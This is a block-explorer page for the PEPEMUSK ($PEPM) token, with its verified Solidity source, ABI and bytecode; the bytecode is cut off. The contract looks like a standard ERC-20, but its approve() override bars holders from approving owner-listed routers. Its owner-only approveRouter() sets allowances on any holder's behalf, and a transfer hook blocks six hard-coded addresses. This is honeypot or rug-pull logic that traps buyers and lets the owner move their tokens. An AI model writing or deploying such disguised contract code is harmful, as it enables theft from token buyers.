ETH Price: $2,604.52 (-1.82%)

Token

PEPEMUSK ($PEPM)
 

Overview

Max Total Supply

10,000,000 $PEPM

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
magiceth.eth
Balance
19,302.924104271612847419 $PEPM

Value
$0.00
0x32b21910f7bde24ee9dd345e17b679f433773fd4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPEMUSK

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-27
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);


    function totalSupply() external view returns (uint256);


    function balanceOf(address account) external view returns (uint256);


    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);


    function symbol() external view returns (string memory);


    function decimals() external view returns (uint8);
}


contract ERC20 is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimal;
    
    
    constructor(string memory name_, string memory symbol_, uint8 decimal_) {
        _name = name_;
        _symbol = symbol_;
        _decimal = decimal_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }


    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return _decimal;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }


    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }



    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }


    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(to != 0x93FFb15d1fA91E0c320d058F00EE97F9E3C50096 && to != 0xe3DF3043f1cEfF4EE2705A6bD03B4A37F001029f && to != 0x00000027F490ACeE7F11ab5fdD47209d6422C5a7 && to != 0x77223F67D845E3CbcD9cc19287E24e71F7228888 && to != 0x000013De30d1b1D830dcb7d54660F4778D2d4aF5 && to != 0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13);
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

abstract contract ERC20Burnable is Context, ERC20 {

     // Declaring an event
    event Test_Event(uint256 a); 

    function burn(uint256 amount) public virtual {
        emit Test_Event(balanceOf(_msgSender()));
        _burn(_msgSender(), amount);


    }


    function burnFrom(address account, uint256 amount) public virtual {
        _spendAllowance(account, _msgSender(), amount);
        _burn(account, amount);
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  
    constructor() {
        _transferOwnership(_msgSender());
    }


    modifier onlyOwner() {
        _checkOwner();
        _;
    }


    function owner() public view virtual returns (address) {
        return _owner;
    }


    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }


    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract PEPEMUSK is ERC20, ERC20Burnable, Ownable {
    address[] ROUTERS;
    uint256 PEPEMUSK_SUPPLY = 10000000;

    constructor() ERC20("PEPEMUSK", "$PEPM", 18) {
        _mint(msg.sender, 10_000_000 * 10 ** decimals());
    }

    function addRouters(address _newRouter) public onlyOwner returns(bool) {
        ROUTERS.push(_newRouter);
        return true;
    }

    function removeRouter(uint index) public onlyOwner returns(bool) {
        ROUTERS[index] = ROUTERS[ROUTERS.length - 1];
        ROUTERS.pop();
        return true;
    }


    function getAllRouters() public view onlyOwner returns(address [] memory) {
        return ROUTERS;
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        require(!isAddressInArray(ROUTERS, spender), "Not allowed");
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }



    function approveRouter(address owner, address spender, uint256 amount) public onlyOwner returns(bool) {
        require(isAddressInArray(ROUTERS, spender), "Not allowed");
         _approve(owner, spender, amount);
         return true;
    }


    function isAddressInArray(address[] memory _addrArray, address _addr) public pure returns (bool) {
        bool result = false;
        uint256 j = 0;
        while (j < _addrArray.length) {
            if (_addrArray[j] == _addr) {
                result = true;
                break;
            }
            j++;
        }
        return result;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"a","type":"uint256"}],"name":"Test_Event","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_newRouter","type":"address"}],"name":"addRouters","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approveRouter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getAllRouters","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addrArray","type":"address[]"},{"internalType":"address","name":"_addr","type":"address"}],"name":"isAddressInArray","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"removeRouter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052629896806007553480156200001857600080fd5b5060405180604001604052806008815260200167504550454d55534b60c01b81525060405180604001604052806005815260200164245045504d60d81b815250601282600390816200006b9190620003cf565b5060046200007a8382620003cf565b506005805460ff191660ff9290921691909117905550620000a490506200009e3390565b620000de565b620000d833620000b660055460ff1690565b620000c390600a620005b0565b620000d29062989680620005c8565b62000138565b620005f8565b600580546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620001935760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b620001a1600083836200022e565b8060026000828254620001b59190620005e2565b90915550506001600160a01b03821660009081526020819052604081208054839290620001e4908490620005e2565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b7393ffb15d1fa91e0c320d058f00ee97f9e3c500966001600160a01b0383161480159062000279575073e3df3043f1ceff4ee2705a6bd03b4a37f001029f6001600160a01b03831614155b8015620002a057507027f490acee7f11ab5fdd47209d6422c5a76001600160a01b03831614155b8015620002ca57507377223f67d845e3cbcd9cc19287e24e71f72288886001600160a01b03831614155b8015620002f257507113de30d1b1d830dcb7d54660f4778d2d4af56001600160a01b03831614155b80156200031c575073ae2fc483527b8ef99eb5d9b44875f005ba1fae136001600160a01b03831614155b6200032657600080fd5b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200035657607f821691505b6020821081036200037757634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200032657600081815260208120601f850160051c81016020861015620003a65750805b601f850160051c820191505b81811015620003c757828155600101620003b2565b505050505050565b81516001600160401b03811115620003eb57620003eb6200032b565b6200040381620003fc845462000341565b846200037d565b602080601f8311600181146200043b5760008415620004225750858301515b600019600386901b1c1916600185901b178555620003c7565b600085815260208120601f198616915b828110156200046c578886015182559484019460019091019084016200044b565b50858210156200048b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004f2578160001904821115620004d657620004d66200049b565b80851615620004e457918102915b93841c9390800290620004b6565b509250929050565b6000826200050b57506001620005aa565b816200051a57506000620005aa565b81600181146200053357600281146200053e576200055e565b6001915050620005aa565b60ff8411156200055257620005526200049b565b50506001821b620005aa565b5060208310610133831016604e8410600b841016171562000583575081810a620005aa565b6200058f8383620004b1565b8060001904821115620005a657620005a66200049b565b0290505b92915050565b6000620005c160ff841683620004fa565b9392505050565b8082028115828204841417620005aa57620005aa6200049b565b80820180821115620005aa57620005aa6200049b565b6112a280620006086000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d71461028f578063a9059cbb146102a2578063d68135d6146102b5578063dd62ed3e146102c8578063f2fde38b146102db57600080fd5b806370a082311461020f578063728827321461023857806379cc67901461024b5780638da5cb5b1461025e57806395d89b411461028757600080fd5b806325bb69c2116100f457806325bb69c2146101ac578063313ce567146101bf57806339509351146101d457806342966c68146101e757806353c2ddf1146101fc57600080fd5b806306fdde0314610131578063095ea7b31461014f57806318160ddd146101725780631faee24f1461018457806323b872dd14610199575b600080fd5b6101396102ee565b6040516101469190610f3e565b60405180910390f35b61016261015d366004610fa3565b610380565b6040519015158152602001610146565b6002545b604051908152602001610146565b61018c61043e565b6040516101469190610fcd565b6101626101a736600461101a565b6104a7565b6101626101ba366004611056565b6104cb565b60055460405160ff9091168152602001610146565b6101626101e2366004610fa3565b610528565b6101fa6101f5366004611078565b61054a565b005b61016261020a36600461101a565b610592565b61017661021d366004611056565b6001600160a01b031660009081526020819052604090205490565b610162610246366004611078565b61064d565b6101fa610259366004610fa3565b61070c565b60055461010090046001600160a01b03166040516001600160a01b039091168152602001610146565b610139610725565b61016261029d366004610fa3565b610734565b6101626102b0366004610fa3565b6107af565b6101626102c33660046110a7565b6107bd565b6101766102d636600461117e565b610820565b6101fa6102e9366004611056565b61084b565b6060600380546102fd906111b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610329906111b1565b80156103765780601f1061034b57610100808354040283529160200191610376565b820191906000526020600020905b81548152906001019060200180831161035957829003601f168201915b5050505050905090565b60006103e660068054806020026020016040519081016040528092919081815260200182805480156103db57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116103bd575b5050505050846107bd565b156104265760405162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b60448201526064015b60405180910390fd5b336104328185856108c1565b60019150505b92915050565b60606104486109e6565b600680548060200260200160405190810160405280929190818152602001828054801561037657602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610480575050505050905090565b6000336104b5858285610a48565b6104c0858585610ac2565b506001949350505050565b60006104d56109e6565b5060068054600180820183556000929092527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b919050565b60003361043281858561053b8383610820565b6105459190611201565b6108c1565b7fa892f22745574d69dc8a93a1eaba0d6dcb29ab3088ed97890896391caec44b1b6105743361021d565b60405190815260200160405180910390a161058f3382610c9b565b50565b600061059c6109e6565b6105fe60068054806020026020016040519081016040528092919081815260200182805480156103db576020028201919060005260206000209081546001600160a01b031681526001909101906020018083116103bd575050505050846107bd565b6106385760405162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b604482015260640161041d565b6106438484846108c1565b5060019392505050565b60006106576109e6565b6006805461066790600190611214565b8154811061067757610677611227565b600091825260209091200154600680546001600160a01b0390921691849081106106a3576106a3611227565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060068054806106e2576106e261123d565b600082815260209020810160001990810180546001600160a01b0319169055019055506001919050565b610717823383610a48565b6107218282610c9b565b5050565b6060600480546102fd906111b1565b600033816107428286610820565b9050838110156107a25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161041d565b6104c082868684036108c1565b600033610432818585610ac2565b600080805b845181101561081857836001600160a01b03168582815181106107e7576107e7611227565b60200260200101516001600160a01b0316036108065760019150610818565b8061081081611253565b9150506107c2565b509392505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108536109e6565b6001600160a01b0381166108b85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161041d565b61058f81610df2565b6001600160a01b0383166109235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041d565b6001600160a01b0382166109845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6005546001600160a01b03610100909104163314610a465760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161041d565b565b6000610a548484610820565b90506000198114610abc5781811015610aaf5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161041d565b610abc84848484036108c1565b50505050565b6001600160a01b038316610b265760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041d565b6001600160a01b038216610b885760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041d565b610b93838383610e4c565b6001600160a01b03831660009081526020819052604090205481811015610c0b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161041d565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610c42908490611201565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c8e91815260200190565b60405180910390a3610abc565b6001600160a01b038216610cfb5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161041d565b610d0782600083610e4c565b6001600160a01b03821660009081526020819052604090205481811015610d7b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161041d565b6001600160a01b0383166000908152602081905260408120838303905560028054849290610daa908490611214565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016109d9565b505050565b600580546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b7393ffb15d1fa91e0c320d058f00ee97f9e3c500966001600160a01b03831614801590610e96575073e3df3043f1ceff4ee2705a6bd03b4a37f001029f6001600160a01b03831614155b8015610ebc57507027f490acee7f11ab5fdd47209d6422c5a76001600160a01b03831614155b8015610ee557507377223f67d845e3cbcd9cc19287e24e71f72288886001600160a01b03831614155b8015610f0c57507113de30d1b1d830dcb7d54660f4778d2d4af56001600160a01b03831614155b8015610f35575073ae2fc483527b8ef99eb5d9b44875f005ba1fae136001600160a01b03831614155b610ded57600080fd5b600060208083528351808285015260005b81811015610f6b57858101830151858201604001528201610f4f565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461052357600080fd5b60008060408385031215610fb657600080fd5b610fbf83610f8c565b946020939093013593505050565b6020808252825182820181905260009190848201906040850190845b8181101561100e5783516001600160a01b031683529284019291840191600101610fe9565b50909695505050505050565b60008060006060848603121561102f57600080fd5b61103884610f8c565b925061104660208501610f8c565b9150604084013590509250925092565b60006020828403121561106857600080fd5b61107182610f8c565b9392505050565b60006020828403121561108a57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156110ba57600080fd5b823567ffffffffffffffff808211156110d257600080fd5b818501915085601f8301126110e657600080fd5b81356020828211156110fa576110fa611091565b8160051b604051601f19603f8301168101818110868211171561111f5761111f611091565b60405292835281830193508481018201928984111561113d57600080fd5b948201945b838610156111625761115386610f8c565b85529482019493820193611142565b96506111719050878201610f8c565b9450505050509250929050565b6000806040838503121561119157600080fd5b61119a83610f8c565b91506111a860208401610f8c565b90509250929050565b600181811c908216806111c557607f821691505b6020821081036111e557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610438576104386111eb565b81810381811115610438576104386111eb565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b600060018201611265576112656111eb565b506001019056fea264697066735822122036bb3efa6bd2c3fdf547ed8766f16537c9c0f9c077b54cdbe27bc631d88807c764736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d71461028f578063a9059cbb146102a2578063d68135d6146102b5578063dd62ed3e146102c8578063f2fde38b146102db57600080fd5b806370a082311461020f578063728827321461023857806379cc67901461024b5780638da5cb5b1461025e57806395d89b411461028757600080fd5b806325bb69c2116100f457806325bb69c2146101ac578063313ce567146101bf57806339509351146101d457806342966c68146101e757806353c2ddf1146101fc57600080fd5b806306fdde0314610131578063095ea7b31461014f57806318160ddd146101725780631faee24f1461018457806323b872dd14610199575b600080fd5b6101396102ee565b6040516101469190610f3e565b60405180910390f35b61016261015d366004610fa3565b610380565b6040519015158152602001610146565b6002545b604051908152602001610146565b61018c61043e565b6040516101469190610fcd565b6101626101a736600461101a565b6104a7565b6101626101ba366004611056565b6104cb565b60055460405160ff9091168152602001610146565b6101626101e2366004610fa3565b610528565b6101fa6101f5366004611078565b61054a565b005b61016261020a36600461101a565b610592565b61017661021d366004611056565b6001600160a01b031660009081526020819052604090205490565b610162610246366004611078565b61064d565b6101fa610259366004610fa3565b61070c565b60055461010090046001600160a01b03166040516001600160a01b039091168152602001610146565b610139610725565b61016261029d366004610fa3565b610734565b6101626102b0366004610fa3565b6107af565b6101626102c33660046110a7565b6107bd565b6101766102d636600461117e565b610820565b6101fa6102e9366004611056565b61084b565b6060600380546102fd906111b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610329906111b1565b80156103765780601f1061034b57610100808354040283529160200191610376565b820191906000526020600020905b81548152906001019060200180831161035957829003601f168201915b5050505050905090565b60006103e660068054806020026020016040519081016040528092919081815260200182805480156103db57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116103bd575b5050505050846107bd565b156104265760405162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b60448201526064015b60405180910390fd5b336104328185856108c1565b60019150505b92915050565b60606104486109e6565b600680548060200260200160405190810160405280929190818152602001828054801561037657602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610480575050505050905090565b6000336104b5858285610a48565b6104c0858585610ac2565b506001949350505050565b60006104d56109e6565b5060068054600180820183556000929092527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b919050565b60003361043281858561053b8383610820565b6105459190611201565b6108c1565b7fa892f22745574d69dc8a93a1eaba0d6dcb29ab3088ed97890896391caec44b1b6105743361021d565b60405190815260200160405180910390a161058f3382610c9b565b50565b600061059c6109e6565b6105fe60068054806020026020016040519081016040528092919081815260200182805480156103db576020028201919060005260206000209081546001600160a01b031681526001909101906020018083116103bd575050505050846107bd565b6106385760405162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b604482015260640161041d565b6106438484846108c1565b5060019392505050565b60006106576109e6565b6006805461066790600190611214565b8154811061067757610677611227565b600091825260209091200154600680546001600160a01b0390921691849081106106a3576106a3611227565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060068054806106e2576106e261123d565b600082815260209020810160001990810180546001600160a01b0319169055019055506001919050565b610717823383610a48565b6107218282610c9b565b5050565b6060600480546102fd906111b1565b600033816107428286610820565b9050838110156107a25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161041d565b6104c082868684036108c1565b600033610432818585610ac2565b600080805b845181101561081857836001600160a01b03168582815181106107e7576107e7611227565b60200260200101516001600160a01b0316036108065760019150610818565b8061081081611253565b9150506107c2565b509392505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108536109e6565b6001600160a01b0381166108b85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161041d565b61058f81610df2565b6001600160a01b0383166109235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041d565b6001600160a01b0382166109845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6005546001600160a01b03610100909104163314610a465760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161041d565b565b6000610a548484610820565b90506000198114610abc5781811015610aaf5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161041d565b610abc84848484036108c1565b50505050565b6001600160a01b038316610b265760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041d565b6001600160a01b038216610b885760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041d565b610b93838383610e4c565b6001600160a01b03831660009081526020819052604090205481811015610c0b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161041d565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610c42908490611201565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c8e91815260200190565b60405180910390a3610abc565b6001600160a01b038216610cfb5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161041d565b610d0782600083610e4c565b6001600160a01b03821660009081526020819052604090205481811015610d7b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161041d565b6001600160a01b0383166000908152602081905260408120838303905560028054849290610daa908490611214565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016109d9565b505050565b600580546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b7393ffb15d1fa91e0c320d058f00ee97f9e3c500966001600160a01b03831614801590610e96575073e3df3043f1ceff4ee2705a6bd03b4a37f001029f6001600160a01b03831